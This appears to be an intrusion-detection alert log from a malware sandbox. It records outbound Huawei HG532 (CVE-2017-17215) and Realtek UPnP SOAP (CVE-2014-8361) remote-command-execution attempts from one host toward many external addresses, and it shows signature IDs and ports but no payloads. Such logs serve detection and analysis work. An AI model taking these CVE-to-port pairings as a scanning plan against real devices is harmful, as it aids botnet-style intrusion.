ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.2.127

Timestamp:	07/20/24-23:01:25.294369
SID:	2829579
Source Port:	42408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 198.58.137.77

Timestamp:	07/20/24-23:01:34.900321
SID:	2831300
Source Port:	47188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.161.30

Timestamp:	07/20/24-23:01:37.121609
SID:	2835222
Source Port:	36778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.192.122.153

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	38776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.175.199.162

Timestamp:	07/20/24-23:01:22.794319
SID:	2829579
Source Port:	33862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.46.196

Timestamp:	07/20/24-23:01:22.794319
SID:	2829579
Source Port:	51112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 146.102.177.163

Timestamp:	07/20/24-23:01:34.900554
SID:	2831300
Source Port:	49312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 130.69.123.40

Timestamp:	07/20/24-23:01:05.565667
SID:	2025132
Source Port:	33754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.188.141.9

Timestamp:	07/20/24-23:01:05.900314
SID:	2829579
Source Port:	39950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 99.202.52.30

Timestamp:	07/20/24-23:01:13.331310
SID:	2027339
Source Port:	59154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 37.157.73.197

Timestamp:	07/20/24-23:01:23.000602
SID:	2025132
Source Port:	41844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.235.129.31

Timestamp:	07/20/24-23:01:25.230281
SID:	2835222
Source Port:	49918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.66.57

Timestamp:	07/20/24-23:01:33.046879
SID:	2835222
Source Port:	44442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 100.194.218.244

Timestamp:	07/20/24-23:01:30.719960
SID:	2025132
Source Port:	50138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.106.174.202

Timestamp:	07/20/24-23:01:28.350983
SID:	2829579
Source Port:	45728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.147.74

Timestamp:	07/20/24-23:01:25.298710
SID:	2829579
Source Port:	47132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 95.58.16.105

Timestamp:	07/20/24-23:01:32.121660
SID:	2027339
Source Port:	58198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.0.108.16

Timestamp:	07/20/24-23:01:14.472855
SID:	2835222
Source Port:	57834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 186.138.141.187

Timestamp:	07/20/24-23:01:25.294838
SID:	2025132
Source Port:	60386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.71.235.143

Timestamp:	07/20/24-23:01:19.335313
SID:	2829579
Source Port:	55950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.239.39

Timestamp:	07/20/24-23:01:11.481655
SID:	2835222
Source Port:	44298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 209.87.192.88

Timestamp:	07/20/24-23:01:06.599622
SID:	2025132
Source Port:	48578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.26.93.154

Timestamp:	07/20/24-23:01:07.682291
SID:	2829579
Source Port:	54744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 190.144.135.107

Timestamp:	07/20/24-23:01:05.628737
SID:	2025132
Source Port:	47046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.167.156

Timestamp:	07/20/24-23:01:37.121609
SID:	2835222
Source Port:	48214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 180.84.13.38

Timestamp:	07/20/24-23:01:35.095222
SID:	2831300
Source Port:	45482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 36.55.148.89

Timestamp:	07/20/24-23:01:14.397957
SID:	2835222
Source Port:	36440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.92.28

Timestamp:	07/20/24-23:01:28.208110
SID:	2835222
Source Port:	51704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 223.29.150.196

Timestamp:	07/20/24-23:01:34.899907
SID:	2831300
Source Port:	41680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.126.34

Timestamp:	07/20/24-23:01:37.122448
SID:	2835222
Source Port:	37672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.253.110.40

Timestamp:	07/20/24-23:01:37.121494
SID:	2829579
Source Port:	53028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 116.111.12.206

Timestamp:	07/20/24-23:01:05.803717
SID:	2027339
Source Port:	43400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.184.130

Timestamp:	07/20/24-23:01:05.898280
SID:	2835222
Source Port:	51778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.122.148.214

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	57638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.192.107

Timestamp:	07/20/24-23:01:11.448569
SID:	2829579
Source Port:	40356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 39.28.170.200

Timestamp:	07/20/24-23:01:24.078342
SID:	2027339
Source Port:	42294
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.216.201.21

Timestamp:	07/20/24-23:01:02.414851
SID:	2829579
Source Port:	46822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.216.160.162

Timestamp:	07/20/24-23:01:14.407391
SID:	2829579
Source Port:	44752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.106.54.46

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	37912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.30.224.46

Timestamp:	07/20/24-23:01:25.290247
SID:	2829579
Source Port:	34512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 141.62.102.149

Timestamp:	07/20/24-23:01:28.216939
SID:	2835222
Source Port:	42364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.236.30.131

Timestamp:	07/20/24-23:01:25.285323
SID:	2829579
Source Port:	36668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 125.202.144.54

Timestamp:	07/20/24-23:01:22.850149
SID:	2027339
Source Port:	48528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 52.221.200.218

Timestamp:	07/20/24-23:01:29.185354
SID:	2831300
Source Port:	48490
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 162.152.158.39

Timestamp:	07/20/24-23:01:25.288605
SID:	2835222
Source Port:	35508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 93.255.94.157

Timestamp:	07/20/24-23:01:05.612883
SID:	2025132
Source Port:	46400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.77.118.133

Timestamp:	07/20/24-23:01:22.796666
SID:	2835222
Source Port:	36550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.92.249

Timestamp:	07/20/24-23:01:23.184455
SID:	2835222
Source Port:	60162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.237.129.172

Timestamp:	07/20/24-23:01:07.653968
SID:	2829579
Source Port:	50684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.163.126

Timestamp:	07/20/24-23:01:19.231228
SID:	2835222
Source Port:	35594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.179.161.50

Timestamp:	07/20/24-23:01:14.428293
SID:	2835222
Source Port:	57644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 84.193.36.239

Timestamp:	07/20/24-23:01:25.387257
SID:	2027339
Source Port:	44032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.76.153.239

Timestamp:	07/20/24-23:01:37.227564
SID:	2835222
Source Port:	48560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.222.107

Timestamp:	07/20/24-23:01:37.167957
SID:	2829579
Source Port:	55556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 197.254.135.133

Timestamp:	07/20/24-23:01:29.171040
SID:	2027339
Source Port:	39428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 88.254.65.6

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	48158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.122.35.63

Timestamp:	07/20/24-23:01:11.472603
SID:	2829579
Source Port:	34748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.233.169.62

Timestamp:	07/20/24-23:01:02.411450
SID:	2829579
Source Port:	57302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.145.104.63

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	44850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.62.137.190

Timestamp:	07/20/24-23:01:07.680463
SID:	2835222
Source Port:	58654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.161.8.250

Timestamp:	07/20/24-23:01:14.397066
SID:	2829579
Source Port:	56532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.156.90.20

Timestamp:	07/20/24-23:01:22.792727
SID:	2829579
Source Port:	41780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.172.66.80

Timestamp:	07/20/24-23:01:33.046879
SID:	2829579
Source Port:	42800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 180.166.72.99

Timestamp:	07/20/24-23:01:34.939612
SID:	2831300
Source Port:	53134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 147.24.204.167

Timestamp:	07/20/24-23:01:13.333893
SID:	2831300
Source Port:	39776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.84.97.78

Timestamp:	07/20/24-23:01:22.801376
SID:	2829579
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.227.51

Timestamp:	07/20/24-23:01:02.405571
SID:	2829579
Source Port:	55680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 77.164.7.36

Timestamp:	07/20/24-23:01:13.331310
SID:	2831300
Source Port:	51646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.147.115.196

Timestamp:	07/20/24-23:01:13.331580
SID:	2027339
Source Port:	55402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 172.52.92.23

Timestamp:	07/20/24-23:01:34.903669
SID:	2831300
Source Port:	54692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.155.160.150

Timestamp:	07/20/24-23:01:19.221647
SID:	2835222
Source Port:	39246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 138.145.119.211

Timestamp:	07/20/24-23:01:34.937254
SID:	2027339
Source Port:	39862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 222.252.238.17

Timestamp:	07/20/24-23:01:34.945022
SID:	2831300
Source Port:	51246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.26.169.251

Timestamp:	07/20/24-23:01:05.460763
SID:	2027339
Source Port:	47030
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.140.44

Timestamp:	07/20/24-23:01:11.452806
SID:	2835222
Source Port:	41070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 171.71.112.103

Timestamp:	07/20/24-23:01:23.079615
SID:	2025132
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.34.216.226

Timestamp:	07/20/24-23:01:22.783280
SID:	2835222
Source Port:	42930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 151.173.29.9

Timestamp:	07/20/24-23:01:05.905239
SID:	2829579
Source Port:	57976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 209.57.40.96

Timestamp:	07/20/24-23:01:34.902184
SID:	2831300
Source Port:	42246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.20.90.81

Timestamp:	07/20/24-23:01:34.920163
SID:	2027339
Source Port:	35522
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.170.200.63

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	36022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.51.166.193

Timestamp:	07/20/24-23:01:22.792727
SID:	2835222
Source Port:	35516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.121.33

Timestamp:	07/20/24-23:01:07.674717
SID:	2835222
Source Port:	47860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.22.174.90

Timestamp:	07/20/24-23:01:11.454990
SID:	2835222
Source Port:	36974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 5.43.253.115

Timestamp:	07/20/24-23:01:06.133183
SID:	2027339
Source Port:	44268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.119.152

Timestamp:	07/20/24-23:01:02.411076
SID:	2829579
Source Port:	45474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.163.35.115

Timestamp:	07/20/24-23:01:37.234827
SID:	2835222
Source Port:	50860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 206.125.101.194

Timestamp:	07/20/24-23:01:34.932468
SID:	2027339
Source Port:	38506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 78.159.95.203

Timestamp:	07/20/24-23:01:25.292315
SID:	2027339
Source Port:	46822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 87.188.195.240

Timestamp:	07/20/24-23:01:33.572374
SID:	2027339
Source Port:	52992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 36.44.157.9

Timestamp:	07/20/24-23:01:06.552778
SID:	2027339
Source Port:	53066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.204.218

Timestamp:	07/20/24-23:01:25.293652
SID:	2829579
Source Port:	35292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.173.59.248

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	40060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 222.154.38.130

Timestamp:	07/20/24-23:01:29.175082
SID:	2831300
Source Port:	33652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.25.181.212

Timestamp:	07/20/24-23:01:28.195717
SID:	2829579
Source Port:	37986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.157.105.102

Timestamp:	07/20/24-23:01:28.180178
SID:	2835222
Source Port:	50488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.63.204.221

Timestamp:	07/20/24-23:01:05.898353
SID:	2829579
Source Port:	58892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.167.36

Timestamp:	07/20/24-23:01:37.199306
SID:	2829579
Source Port:	60522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.240.11.144

Timestamp:	07/20/24-23:01:05.898116
SID:	2829579
Source Port:	49402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.127.134.5

Timestamp:	07/20/24-23:01:14.440842
SID:	2829579
Source Port:	58900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 88.254.0.55

Timestamp:	07/20/24-23:01:33.848107
SID:	2027339
Source Port:	52434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 82.44.225.133

